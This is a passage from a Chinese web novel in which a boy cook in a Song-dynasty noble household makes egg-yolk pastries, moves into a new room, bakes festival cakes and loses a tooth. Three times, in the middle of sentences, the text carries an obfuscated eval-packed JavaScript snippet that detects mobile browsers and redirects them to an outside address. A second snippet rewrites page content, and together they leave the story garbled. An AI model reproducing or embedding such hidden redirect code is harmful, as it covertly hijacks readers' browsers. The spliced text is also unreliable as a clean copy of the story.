中间扒个小窝，淋水，边淋边搅，搅出一团团蓬松的面絮，搓成一个个圆滚滚的剂子上锅蒸。 蒸熟以后的糯米团子变得半透明，香气清甜绵长，林霜降趁热将它们取出，放到撒了熟糯米粉的食案，揉搓拉扯，直到米团变得越发细腻弹润，糯丝粘连。 不能说一模一样，但与后世那种软糯弹牙会拉丝的麻薯，已有七八分相似了。 林霜降很满意，麻薯做成，这蛋黄酥便成功大半了。 卞厨娘在旁边看得也很是津津有味。 还没入口，她光是瞧着糯米园子雪白莹润的模样，还有那扯不断的糯丝，就能想象牙齿咬下去时定是满口温润甜香，软糯弹牙。 二哥儿定是爱吃的。 只是卞厨娘没想到，她以为已经大功告成的小吃，林霜降仅仅刚完成了三分之一，之后就见他将那几枚咸杬子去白留黄，放在炭炉上烘了片刻；又用麦粉和油做了油酥和水油皮。 烤好的蛋黄色泽比之前更红亮，油脂微微渗出，松沙流油，油酥水油皮也是极为光滑。 林霜降取来一团温热麻薯，轻轻按压成圆片，舀一勺红亮油润的豆沙在上面抹开，再放一颗蛋黄。 指尖一拢，麻薯、豆沙、蛋黄三者便如同石榴籽般紧紧抱在了一起。 再放进用水油皮包住油酥反复折叠擀成的皮子，搓成一枚圆润的团子，顶端刷一层鸡子黄，撒几粒芝麻做点缀。 林霜降掌心托着包好的蛋黄酥，依然虚心请教：“卞厨娘，我这酥包的可还成吗？” 卞厨娘在一旁看得都有些呆了。 寻常厨子拿到咸鸭蛋，不是切瓣佐粥便是碾碎做馅，谁会想到将它与糯米和豆沙放在一起？ 关键是仔细一想，竟觉得这个从未出现过的新奇组合会很好吃。 林霜降这孩子，脑瓜里究竟藏了多少奇巧心思？ 真不愧是灶王爷追着喂饭的孩子啊。 卞厨娘又惊又喜：“成，当然成，瞧这酥捏得多好看——霜降，你是怎么想到做这样精巧的点心的？” 林霜降对这个问题并不想隐瞒。 他实话实说道：“我是从书上看的。” 这些吃食的做法，可不就是他上辈子从各种美食书上看来的？ “书上看来的？” 卞厨娘陷入沉思。 她这身本事是跟着师傅在灶台边一勺一勺尝出来的，翻过的书册加起来还没菜刀重，如今看来很是不成，她以后也得多翻翻书本才是。 书中自有黄金屋，古人云诚不欺她。 蛋黄酥做法精细，待进炉烘烤完成，天已彻底黑下来，担心放在大厨房或小厨房会被哪个贪嘴的偷吃，林霜降和卞厨娘打了招呼，便将做好的几枚蛋黄酥小心包好，带回了自己住的偏屋。 刚出炉的蛋黄酥直接吃味道不错，但回油一夜味道更好，到时酥皮油润，豆沙绵密，蛋黄咸香，别有一番滋味。 李修然吃了就不会生气了。 林霜降做好一切准备，却忘了他屋子里还有个不省心的。 趁他刚洗完澡擦干头发的工夫，瑛氏偷偷摸摸要去拿蛋黄酥吃。 幸而林霜降挂念着这几枚要送给李修然的蛋黄酥，一直留意着动静，这才没让姨妈得逞。 “姨妈，这些是给二哥儿准备的。” 瑛氏望着那几枚香气缠绵的金黄甜酥直咽口水，听到林霜降的问话，扭头问他：“给二哥儿准备的？二哥儿知道你给他准备了几只酥？” 林霜降眨眨眼，摇了摇头。 他还没和李修然说呢，李修然根本不知道这件事，更别提精确到数字。 “那不得了。”瑛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937220|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏摩拳擦掌道，“二哥儿既不清楚，又有这么多呢，那我吃一个也是无妨的。” 说着便要伸手上去取。 林霜降连忙上前拉住她衣袖：“姨妈，不行。” 他一时找不到阻止姨妈的理由，只一个劲儿坚持道：“不成的，姨妈，你不能吃……这是给二哥儿留的。” 林霜降力气不大，却很缠人，瑛氏被他磨得没办法，又顾及着李修然，最终还是放弃了，投降似的将双手一举：“行行行，我不吃了总行了吧！” 林霜降这才放心，眯着眼睛笑道：“行。” 想了想又说：“姨妈真好。” 瑛氏看着他又气又乐：“你这小猢狲！” 林霜降弯起眼睛一笑。 正要进屋，瑛氏忽然瞧见什么，定了定神，随即便睁大眼睛喊道：“二、二哥儿！” “姨妈，你莫不是糊涂了，二哥儿现下应该正睡着觉才是，怎么会……”林霜降边说边扭头，就看见李修然站在不远处。 “……来我们这里。” 他和李修然对视着，愣愣地补完了后半句话。 林霜降心情有些复杂。 ……李修然怎么来了？ 一方面，这是两人吵架后的第一次见面，李修然主动过来找他，林霜降很高兴；另一方面，这里是仆役院，李修然深夜贸然前来，很不合规矩，林霜降担心外面那些人又要借此机会编排他。 他正要说话，李修然却先他一步，几步走到他面前，有点生气地问：“你今日怎么不来同我一起睡觉？” 国子监寻假十日才得一放，这些日子以来他日日在学院公厨吃糠咽菜，唯一的盼头便是十日后回府吃林霜降做的吃食，再与他一起睡觉。 这下倒好，两个都没有了。 李修然难过得快要化掉。 听到李修然的问话，林霜降老实回答：“因为二哥儿生我的气了呀。” 李修然那时扭头走人的架势，分明是一时半会不想再看他了，又怎会想和他一起睡觉？ 林霜降这才没去找他，还自认为很贴心。 李修然都快气晕了：“这分明就是两件事！” “生气又不代表我不想同你一起睡觉。” 林霜降愣愣地“哦”了一声。 原来是这样吗？ 他没反应过来，瑛氏却是什么都明白了，连忙上前堆起笑脸道：“二哥儿快别听霜降胡说，我正要让他收拾收拾去二哥儿院里呢！” 自打林霜降在李修然屋里睡下之后，瑛氏每日走路都比从前挺胸抬头——满汴京城打听打听，哪家贵公子与厨童一起睡觉？ 这可是难得的殊荣啊！ 今日见林霜降没去，瑛氏还以为是李修然发了话，却没想到原来是她这外甥的自作主张。 这孩子，灶火熏昏头了不成，天大的机缘竟也往外推！ 闻言，林霜降幽怨地看了瑛氏一眼，姨妈方才哪里撺掇他去李修然院子里了，明明是要去拿蛋黄酥吃。 瑛氏说完嘴也没闲下来，又絮絮在李修然耳旁念叨了许多夸赞他的溢美之言，直听得李修然耳朵生茧。 他当然知晓林霜降有个姨母，只是一直没见真章，原以为既是血亲，该会像林霜降那样是个性子安静的，没想到原来竟是个话痨么？ 李修然一点没听，让瑛氏的这些话从自己耳朵里鱼贯而出，只偏头去瞧林霜降。 林霜降要也是个话痨就好了。 这样他就能和自己说很多很多的话了。 在瑛氏不带停歇的小作文中，李修然忽然开口：“今晚我在这儿歇了。” 下一刻，瑛氏成功闭了嘴，并且笑不出来了。 二哥儿歇在这儿……那她睡哪儿啊？ 这地方可就两张床啊！ “不成，二哥儿不能睡这里。”林霜降马上开口，“我去二哥儿屋里睡就是了。” 李修然却不答应了。 林霜降已经在他屋里睡了好几次，但他还没有在林霜降屋子里睡过，这样怎么能算好朋友呢，不成不成！ 林霜降拗不过他，便只好答应下来。 瑛氏见状叹了口气，心想自己今晚怕是要打地铺了，正要去拿被子，就见李修然已抬腿朝林霜降屋里去了。 瑛氏：“……” 在自己屋里便也罢了，都到这儿来了，二哥儿敢情还准备和她外甥挤一张床？ 到底是有多喜欢他外甥啊！ 24. 新房 林霜降屋里这张窄榻床，平日里自己躺着还算富裕，如今多了个哪里都比他大出一号的李修然，便很不够看了。 两个小男孩侧躺着挤在一处，头挨着头，肩碰着肩，呼吸可闻。 林霜降无声叹了口气，看着近在咫尺的男孩劝道：“二哥儿，你还是回去吧。” 放着大房子不住，何苦要来与他挤小床呢？ “不要。”李修然态度坚决地摇了摇头。 多亏这张小床，他和林霜降比从前挨得更近了。 他喜欢小床！ 知道劝他也是无果，林霜降不再多说，放轻了声音道：“我给二哥儿做了蛋黄酥，回油一晚味道正好，明日二哥儿吃了就不生气了好不好？” 他到底比李修然心理年龄大了几岁，闹这么一出，多少能猜出李修然生气的原因除了护食还有别的，可能是觉得好朋友之位易主，心中不快，这才闹起脾气。 林霜降摇摇头，心想果然还是小孩子。 其实李修然已经不生气了。 方才进门之前，他先在屋头听了半晌，将林霜降“这是给二哥儿留的”那番陈词全都听了去，便知林霜降也在想着他，也想与他和好。 那几只预备着要留给他的蛋黄酥李修然也瞅见了，金黄酥皮，饱满圆润，离老远都能闻见那股甜润醇香的味道，比给那小童的糕饼精巧得不只一星半点。 从吃食方面就能看出来，他在林霜降心中比那小童重要得多。 李修然放下心来。 他果然还是林霜降最好的朋友，地位无可撼动。 此刻与林霜降躺在同一张床上，感受那具小身子的温热体温，李修然满足极了，之前所有的不快都烟消云散。 于是便得寸进尺起来，带着点撒娇的口吻道：“我想要你身上的寝衣。” 寝衣？ 林霜降在黑暗中眨了眨眼。 他身上的寝衣是宋制短褙，棉麻质地，随处可见，唯一不同的是他在上面绣了奶牛猫的花纹。 林霜降上辈子也有件奶牛猫睡衣，穿了好几年，黑白斑块软软贴在身上，每晚都像被只温顺的小猫咪拥着入睡，林霜降穿习惯了，拿到寝衣便不知不觉就把记忆里的纹样绣了上去。 李修然是也喜欢奶牛猫吗？ 宋朝有没有奶牛猫，林霜降不知道，他还没见过。 但缝一件也不是难事。 “好呀。”林霜降有些困，声音比平常更软地说，“二哥儿若是喜欢，我给你缝一件就是了。” 李修然高兴地点点头。 他想要件和林霜降一样的寝衣，这想法并非兴起于一时，他总觉得和林霜降穿上相同的衣裳，就能和他拥有一种与别人都不同的、独一无二的连结。 这念头令他兴奋。 只是兴奋了没一会儿，李修然忽然想到件非常重要的事，看林霜降困得眼睛都睁不开了，怕他下一刻就要睡过去，忙凑到他耳边提醒。 “你不许给那个小童做寝衣！”只能给他做。 林霜降闭着眼睛点点头：“没有人会像你一样提出这种要求的。” 明明是句有些僭越的话，但不知为何，李修然听了却很高兴。 黑暗中，他侧身躺着，两条小胳膊都搂着林霜降，林霜降半张小脸陷在枕头里，奶牛猫寝衣领子蹭着李修然下巴，手上还松松攥着他一缕头发。 月光漏进来，照见两个孩子睡得香甜。 转天一早，李修然便去尝了蛋黄酥。 经过一夜回油，蛋黄酥皮依然酥脆，内里却被油脂浸润得更绵柔了，一口下去，细糯的豆沙甜香油润，咸蛋黄松沙得很，一咬就沙沙地散开，咸香可口。 最特别是要属里面的麻薯，软糯带弹，柔滑得像含了口化开的蜜糖。 李修然不是没吃过好东西，却也从未见过这样的小吃，酥糯绵沙，甜咸兼具，口感丰富，吃完了，唇齿间那股子甜咸酥香仍然久久不散。 想到这样好吃的新奇小点是林霜降特意为他准备的，李修然生理心理都得到了双重满足，将那几只蛋黄酥吃得渣都没剩。 其实林霜降最开始本想做薯片，味道咸香又脆感十足的炸土豆片，堪称居家必备小零食，可惜宋时土豆还未传入华夏，这才做起蛋黄酥。 好在李修然也很喜欢蛋黄酥。 或者说，林霜降做的吃食他就没有不喜欢的。 蛋黄酥的油润香气还没散尽，李修然这一晚宿在仆役院的消息便炸开了。 李游正在书院处理政事，听完管事禀报，将手中朱笔缓缓搁回笔山，头疼地按了按突突直跳的太阳穴。 这小子……真是一天都不让人安生。 管事小心翼翼地问他该如何处理此事。 李游思忖许久才道：“你去把西院那间空着的厢房收拾出来吧。” 李修然的脾性他最清楚，此番在仆役房宿过，定然还会有第二回、第三回，既拦不住，便让他宿得舒坦些，给那孩子换间敞亮屋子，如此既全了面子，也堵了旁人的嘴。 再者，这小厨童为大厨房出了那样多的力，且若没有他，家里那小魔王哪里肯乖乖进学？ 那孩子很担得起这样的赏。 *** 对于搬新房这件事，最高兴的人要属瑛氏。 自打住进这间明窗净几的厢房，原先那几个仗着进府时间长，眼睛恨不得长在头顶的嬷嬷妈妈，一改先前对她的散漫态度，亲亲热热挽着她胳膊叫瑛姐姐。 之前道贺了不说，今日还亲自送来贺礼。 “给瑛姐姐道喜了，主君体恤，赏了这么好的屋子，这可真是天大的福气，往后姐姐和霜哥儿都能享福了！” “是呀，这可是旁人求都求不来的体面！满汴京城去问问，哪有第二个人有这样的待遇？” 瑛氏被这几人越夸越美，用帕子掩着唇笑道：“哎呀，其实这都是我们家霜哥儿的功劳，我不过就是跟着沾沾光罢了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16937221|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“霜哥儿真有出息！” 作为受赏主角，林霜降自然也收到许多道贺，小孩子们之间没这么势力，几个小童都发自内心为他感到高兴。 “我娘说这屋子朝南，冬日太阳都能晒到被窝里呢！” “霜降，往后你去领柴火，我定给你挑最干松的。” “往后霜降就是咱们大厨房的脸面啦！” 七嘴八舌的贺喜声里，林霜降怀里被塞满一堆贺礼：磨得光溜溜的河石、几只竹编蝈蝈笼子、好几块饴糖…… 望着那几双亮晶晶的眼睛，林霜降一一道谢，正说到高兴处，面前小童们不知远远瞅见了什么，仿佛见到煞神一般，一阵烟似的散了。 林霜降：“……” 他都不必确认，肯定是李修然来了。 扭头一看，果不其然，李修然就在他身后。 年幼的李国公府二公子斜倚廊柱，微仰着下颌，和林霜降对上视线，先弯起唇角。 “可还喜欢这屋子？” 林霜降点点头，诚实道：“喜欢。” 他和姨妈如今住的地方位于内宅西侧，一进小四合院，门口设了矮木栅门，配两扇素面木门，正房三间，一明两暗，中间是堂屋，两侧为卧房，比原先住的小偏屋大多了。 床也大多了！六尺长三尺宽的架子床，林霜降躺在上面能自由地滚来滚去。 他心知肚明这间新房定然和李修然脱不了关系，便敛了神色，带着点郑重地道：“谢谢二哥儿。” 若是没有李修然，他和姨妈肯定是住不上这样好的房子。 “这就谢了？待会儿再谢也不迟。”李修然说道。 林霜降被他说得摸不清头脑，正疑惑着，就见景明呈了样东西过来。 是一柄菜刀。 景明滔滔不绝夸赞起来：“这是二哥儿特意命锻工打造的镔铁刀，比寻常菜刀锋利耐磨，还轻薄趁手，日后霜降你使刀时便轻省多了。” 把刀送过来时景明还小声说了句：“说句不该说的话，便是国公爷也未曾得过二郎这般费心备礼的——霜降啊，二哥儿真是将你放心上了！” 林霜降捧着刀，还愣着，便听李修然语含期待地道：“你试试。” 这刀和林霜降用惯了的头重把轻的方头形制菜刀不同，为柳叶形，从柄至刃逐渐收窄，握持在手果然轻便趁手，连他这样的孩童都能轻松操作。 以后切菜剁肉都能比从前更轻松了！ 还有什么比一把好刀能更让厨子高兴呢？ 林霜降欢喜极了。 他将厨刀仔细放进刀套子里，捧在怀中，朝李修然甜甜笑道：“谢谢二哥儿，我很喜欢。” 说罢也将精心缝制好的奶牛猫睡衣交给李修然。 两人都得了自己想要的东西，脸上都挂起笑意。 林霜降侧过头，看着身边男孩笑容洋溢的侧脸，心里冒出个念头。 除了李修然，他不会再给任何人做睡衣了。 25. 社糕 府街两侧那几株玉兰开得急，谢得也快，雪白花瓣不知何时融进春泥里，风热起来，熏得柳树枝头更绿。 草木蔓发，熏风醉人，春社日也悄然而至。 本朝春社的算法颇有些门道，不单是看节气，还得掐着手指头算天干地支，从立春日算起，得数到第五个戊日才算正日子。 林霜降是记不住这样精细复杂的日子，都是姨妈告诉他的。 姨妈说，以前的社日祭祀是极庄重神圣的大事，主祭者需斋戒沐浴、戒绝荤腥，祭祀时的那套繁复琐杂的流程更是不能出半分差错，若有一项失误，便会被视为亵渎神灵，招致灾殃。 林霜降忽而很庆幸自己穿越到了宋朝。 这时候社神的地位已经下降，成了一对喜欢恶作剧的老年夫妻，被称为“社公”和“社婆”，社日这个节日也成了孩童们能参与嬉闹的节令了。① 这一日，瑛氏久违地没等林霜降像往常那样充作人形闹钟，主动起床来他房里念叨。 “霜降，快些起身了，今日春社，可不能赖床，老话说的‘社日三忌’，头一条就是忌娃娃晚起！” 她边将衣衫递过去，嘴里边念着不知从哪儿听来的童谣：“社公嗔，社婆恼，赖床的娃娃脸上遭……” “若是今早贪睡，那社公社婆可是要恼的，他们恼起来也不打人骂人，专等娃娃闭着眼时往他们脸上抹黄屎，等到长大了就得顶张秦叔宝似的大黄脸，多埋汰。” 瑛氏一贯将林霜降的面皮看得比自个儿的还重要，见林霜降还眨着惺忪睡眼，忙将他拉起来：“宁可信其有不可信其无！好霜降，快起身梳洗去。” 林霜降就这样稀里糊涂起了床。 他边刷牙边回忆姨妈方才提到的社日三忌，除了不宜晚起，剩下两忌分别是不宜吃腌菜与不宜上学——后面那个李修然告诉他的，说是春社这日如果小孩还去上学，便会越学越笨。 三人尚且能成虎，更别说从先秦时期口口传下来的节日习俗，为了不让众学子智力下降，国子监便顺应时节，放了这一日的假。 只是假虽放了，李修然却不能闲着，因着他爹的关系还得去参加社稷坛举行的祭仪，以及祭典后举办的社宴，需得很早很早起床。 担心影响林霜降睡觉，李修然便没像往常那样和林霜降睡在一处，把自己气得不行。 林霜降哄他很久才哄好。 梳洗完毕，林霜降整理好衣裳出门，直奔厨院而去。 刚进院门便看到一幅热闹场景。 几个和他差不多年纪的小厮丫鬟，正嘻嘻哈哈地举着竹竿玩闹。 那竹竿顶端用红绳绑着一根青头大葱，孩子们踮着脚，小心翼翼地将绑葱竹竿从窗户内侧慢慢捅到窗外去，一边捅一边脆生生地齐喊：“开聪明喽！开聪明喽！” 另一边，几个更小些的孩子脖间用五彩丝线挂着圆滚滚的蒜头，跑动起来蒜头也跟着晃，看起来很有几分傻里傻气，偏偏他们嘴里喊的是—— “往后咱们不论算账还是理事，脑子都灵光着呢！” 这便是春社日孩子间独有的趣味，讨的是口彩上的吉利，把大葱绑在竹竿上，从窗户里头捅到外头去，叫作“开聪（葱）明”；把蒜头用彩线系了挂在脖子上，便叫作“能计算（蒜）”。② 林霜降第一次听说时也很震惊，原来谐音梗在这么早的时候就已经流行开来了。 他津津有味地看孩子们玩了半晌，便去用朝食了。 李国公府惯不吝于给人们置备节令吃食，春社刚至，早饭便换成了鏊饼与漫泼饭。 这两样都是春社时少不了的节庆吃食，鏊饼是用唤作“鏊子”的平底铁锅烙出来的薄面饼，饼身松软，卷上脆嫩的生菜、辛香的韭菜和酱肉来吃，最是爽口。 漫泼饭则类似后世的盖浇饭，热腾腾的饭浇上现炒的鸡蛋、青蒿菜，再铺几片羊肉，饭菜合一。 林霜降想，李修然应该不会很喜欢漫泼饭。 但他吃着味道还是不错的，蛋炒得软嫩，羊肉酥软，青蒿菜泛着轻微清苦，刚好中和了肉的腻，就着温热的饭一起吃，暖和又满足。 肚皮饱饱，林霜降自然不能闲着，添置完各灶眼的柴火便跟着卞厨娘一同去做社糕。 社糕是春社时家家户户都会制作的节庆米糕，寓意共享福泽，味道甜润软糯，便是国公府般的大户人家也要做得。 按理说，像他这样的烧火童是不能做此类糕点，即便能操持也不过是跟着掌勺大厨在旁边打下手，但卞厨娘不仅让他做了，似乎还想让他做全套。 林霜降猜测他可能是要升职了。 他早先便琢磨过，大厨房的晋升路径大致可以分为烧火童、帮厨、副手以及掌勺大厨，一层层往上走，帮厨虽只比烧火童高出一阶，想要迈上去却也不是容易事——袁厨工三十多岁才熬上帮厨的位置呢。 林霜降今年才七岁。 卞厨娘既信任于他，那他便拿出所有本事来做这社糕。 社糕是大米做的，分“纯米糕”和“夹馅糕”两类，听卞厨娘说，国公府向来吃的都是夹馅款。 林霜降便入乡随俗做夹馅糕。 枣泥、豆沙、去核红枣栗子做馅儿，糯米粉与粳米粉混合做皮，放进方形木模。 中间夹一层甜馅儿、再盖一层米粉，重复几次压实，脱模成方正的糕坯。 如此，便是“土地平整、五谷满仓”的美好寓意。 蒸制没什么技巧，冷水上锅，大火蒸一炷香时长，待到糕体蓬松、米香四溢即可关火。 刚出锅的夹馅社糕带着浓郁的新米甜香，内里的甜馅儿蜜香绵甜，让刚从大内回来，神色还略显疲惫的李国公闻了也不由为之一振。 他尝了一块，觉得比往年更软糯甜香，糕里的甜馅咬开是软糯的枣泥豆沙，里头的栗丁是点睛之笔，米香果香交融，既有节庆喜润，又不失谷物本味。 李游吃得好，给了林霜降一大笔赏钱。 有好几贯呢！ 林霜降美滋滋数完钱，和常安坐在灶房前的小院里一同吃糕。 自打那日李修然从常安手中夺走糕饼，常安担惊受怕了好几日，却也舍不得为此疏远林霜降——林霜降做的吃食实在太美味了，他真心舍不得。 好在后来林霜降又找他解释，说二哥儿以后不会再那样了，常安虽不清楚林霜降为何会如此笃定，但还是选择相信他。 他不清楚，林霜降却很清楚。 因为他不会给常安做奶牛猫睡衣。 许是过节高兴，常安今日话格外多，小嘴叭叭说个没完：“……我还没学会走路的时候，爹娘让我在春社这天爬土沟，说是这样可以变得更聪明，我吭哧吭哧爬了半日，浑身都是土，好半天都没洗掉，结果呢？一点聪明都没长，现在还是这副傻样！” 林霜降听了就笑。 常安继续道：“要我说，那些开聪明、能计算，浑没用的，真正聪明的孩子不使这些招数也能聪明，霜降你说是不是——对了，你小时候弄过这些没有？” 林霜降想了想，摇摇头。 姨妈只在乎那些让小孩变丑变美的习俗，对其他都不是很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16937222|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在意。 也不知道李修然比现在还小的时候有没有捅过大葱，挂过蒜头。 想到李修然脖子挂蒜的画面，林霜降忍不住笑出来，打算等他回来问问。 正想着，林霜降忽然听见对面的常安惊呼一声。 “霜降，你做的吃食真好，难怪二哥儿喜欢你……你你你、霜降，你的嘴怎么流血了！” 闻言，林霜降愣愣地在嘴上一摸。 他掉牙了。 林霜降掉的是上排一颗门牙，小小一颗，很白净，没怎么让他疼，也没流太多血，是颗好牙。 掉牙这事对小孩子们来说是件大事了，听说林霜降掉了牙，小童们纷纷凑过来嘘寒问暖。 “我当初那颗门牙，明明已经松动了，但就是不掉，后来我硬是把它扯下来了，霜降这颗牙掉得好生轻松啊。” “我掉第一颗牙时吓坏了，还以为自己生了什么病要死了，哭了半天，阿娘哄了我好久才好，霜降居然没哭鼻子！” 林霜降就咬着布巾子朝他们笑笑。 他上辈子早就把十几颗乳牙都换遍了，如今怎么可能轻易被区区一颗小门牙打倒。 宋时已有“下牙往上扔，上牙往下扔”这种儿童掉牙习俗了，林霜降也不准备免俗，打算等下了工就把扔到床底或者埋进土里，能讨个“新牙顺利长出”的美好祝愿总归是好的。 等血止住，林霜降就将嘴里的布巾子吐掉了，漱了漱口便继续做活计去了。到底是件小事，他没放在心上。 没想到李修然得知此事后态度却很紧张，给他罗列了许多注意事项，不仅不让他用舌头舔伤口，还耳提面命不许他吃许多食物，与烫、硬、辣沾边的吃食也一概被排除在外。 那戒备劲儿，仿佛林霜降不是掉了颗牙，而是掉了块肉。 李修然这般如临大敌是很有原因的。 他第一次掉牙是在六岁，下排的一颗门牙，是在他啃酥梨时掉下来的，当时小小的李修然浑不在意，觉得男子汉大丈夫，掉颗牙算什么，这是成长的标志！便继续该啃梨啃梨，晚上还吃了好几碟子芥辣瓜儿。 结果当天晚上，他便牙窟窿疼得一宿都没睡好觉。 李修然认为，自己比林霜降大了一岁，在掉牙方面比林霜降更有经验，所以万不能让林霜降步了自己的后尘。 听李修然讲述着自己的掉牙经，林霜降心想我可比你有经验多了，但还是认真地点点头，边听边继续吃方才没吃完的社糕。 谁知，正吃着，手里的社糕突然没了，转移到李修然手中。 李修然手里捏着糕，像个小大人般一本正经说道：“这糕太甜，你刚掉牙，先别吃了。” 林霜降看看李修然，又看了看他手里的糕，罕见地不乐意起来。 李修然怎么能不让他吃东西呢！这简直和不让他做饭一样罪行严重。 “泥（你）……” 林霜降刚开口就察觉不对，慌忙把嘴捂住。 他缺了一颗的门牙处此刻正咻咻漏气，偏偏他还在瞪圆了眼睛生气，因着缺了颗牙，气鼓鼓的模样没有丝毫威慑力，看起来像只被逮住的小动物。 这还是李修然第一次瞧见林霜降生气的模样，觉得新奇，更觉可爱，没忍住笑了出来。 林霜降不理他，继续生气。 掉了颗牙而已，李修然竟然不许他吃社糕，真是过分。 正气着，林霜降忽然感觉李修然凑过来，下一刻，他的脸颊传来柔软的触感，还有一道格外清脆的声响。 李修然吧唧在他脸上亲了一口。 26. 寒食 林霜降愣了几秒才反应过来发生了什么，摸了摸自己的脸，歪头疑惑道：“二哥儿，你这是做什么呀。” 为什么突然亲他，小孩子真是没轻没重。 细微的缺牙漏风声混着软糯稚音传来，李修然不回答，只问道：“林霜降，你现在还生气吗？” 林霜降眨眨眼，诚实地摇了摇头。 被李修然亲了一口之后，他好像确实不生气了。 好奇怪。 “等你的牙长好，就能天天做社糕吃了。”李修然认真道。 然而，等七八天后林霜降乳牙脱落的创口长好之后，他的心选吃食又不是社糕，变成了香香脆脆的炸鸡。 自打入府以来，林霜降得了不少奖赏，七七八八加在一起也有数贯钱了，是姨妈的好几倍，每回他捧了钱来，姨妈都乐得好似天上掉下馅饼。 总之，钱包鼓鼓，又逢门牙长好这样的良辰吉日，林霜降觉得很适合吃顿炸鸡庆祝一番。 做炸鸡得用仔鸡，也就是未完全长成的童子鸡，肉质细嫩、脂肪含量适中，这样的鸡炸出来才会有外皮酥脆，内里鲜嫩多汁的效果。 看着自己用李修然送他的那把柳叶菜刀分斩出来的鸡翅、鸡腿、鸡排、鸡翅尖，还有鸡架，林霜降仿佛已经看到它们裹上面糊，在油锅里炸得金黄酥脆的模样。 用盐、花椒粉、葱花姜末与黄酒腌渍的鸡块，用稀稠适中的面糊裹蘸一遭，在锅里炸得噼里啪啦，油花四溅。 林霜降还是第一回上手亲炸如此多的肉食，听着锅里噼啪炸响的声音，恍惚间还以为过年外头放起了鞭炮。 炸出来的鸡块也如响声般热闹，捞出来沥在竹编笸箩里，满满一大箩，还在不断往下滴油，炸鸡外皮被热油浸得微微作响。 为佐这盘子金黄酥脆的炸鸡，林霜降特意配了酸甜可口的梅子酱、一碟子干料蘸碟椒盐孜然碎，还有一碗白萝卜丁。 切成四四方方小块的萝卜丁，用白糖白醋腌出来的，放了一点辣芥，吃起来酸甜中带一点点辣，口感脆爽，解腻开胃，配着炸鸡吃最好。 架子床上摆了张炕桌，林霜降和李修然分坐桌子两侧，穿着一模一样的奶牛猫睡衣，举着炸鸡吃得不亦乐乎。 林霜降最喜欢梅子酱，清酸还带果香，搭配炸鸡块不仅消解皮上油脂的腻感，还能让鸡肉的咸香滋味更突出。 李修然更偏爱椒盐孜然碎，非得把鸡翅膀在碟子里滚得沾满白花花的香料才肯入口。 觉得口里有几分腻时再嚼一块炸鸡萝卜，那股脆爽酸甜须臾便消解了油脂的厚重，萝卜清鲜，酱汁果香，和炸鸡的酥香交织在一起，炸鸡和萝卜都变得更好吃了。 林霜降吃着李修然递过来的最后一只鸡腿，默默祈祷自己下一次掉牙来得再晚一些。 *** 待到林霜降牙床上那一点雪白小米似的白尖长成新牙，禁火的敕令也贴满了汴京城大街小巷。 寒食节将要到了。 在宋人心中，真正称得上“大节”的，并非后世熟知的端午中秋，而是春节、冬至与寒食。 这三节地位崇高，规矩也与众不同：平日里严禁赌博，只有这三节朝廷开放赌禁允许大赌三天，更显其份量的是实实在在的假期，各放足足七天长假，其余节日至多不过三天。 放在后世能放七天假的，也就是春节和国庆了，寒食节在此时的地位可见一斑。 说到放假，林霜降没想到大宋竟是这样一个重休沐的朝代，除了春节、寒食、冬至这三个能一口气歇上七天的大节，还有好些个能放三天假的中节——夏至、腊八、上元、中元、下元，连当今官家的诞辰都算在内。 更别提那些零零散散、各放一天的小节：立春、立夏、立冬、春分、秋分……几乎每个月都能摊上几天闲暇。 若是算上每月固定的旬休，再扣除掉不同节假之间可能重合的日子，一个宋朝官员全年享受的正常假期约莫为一百二十天，相当于一年当中有三分之一的时间都处于休假状态。 林霜降发自内心觉得大宋朝的官员很幸福。 虽说暂时享受不到假期生活，但能全心全意做自己喜欢的事，林霜降觉得自己也是很幸福的。 寒食，冷饭也，节日规矩顾名思义，体现在“寒”字，期间须得禁火三日，灶膛不可生火，炊烟不得升起，只能食用节前便已备妥的冷食。 自然，这般严苛的规矩也留有余地，有老人或病人无法承受连日的冷食寒羹，便可前往介公庙占卜祈求准许用火，若得吉兆，便能点燃无烟木炭做饭，烹煮热食暖身。 还有些百姓自个儿琢磨出的规避冷食不适的法子：将食物放在太阳下暴晒加热，或是把食器埋在羊马粪窖中借助余温温食。 当然林霜降觉得后一种方法就比较抽象了。 总之，寒食这日不能生火是板上钉钉的事实，节前这几个炊熟日，国公府大小厨房忙个不停，蒸米饭、蒸馒头、蒸甜团、炖肉、炸鱼、做饼饵……忙得不可开交。 食物太多，无处存放，锅碗瓢盆都占满了还不算，林霜降瞧见院里都摆满了吃的喝的。 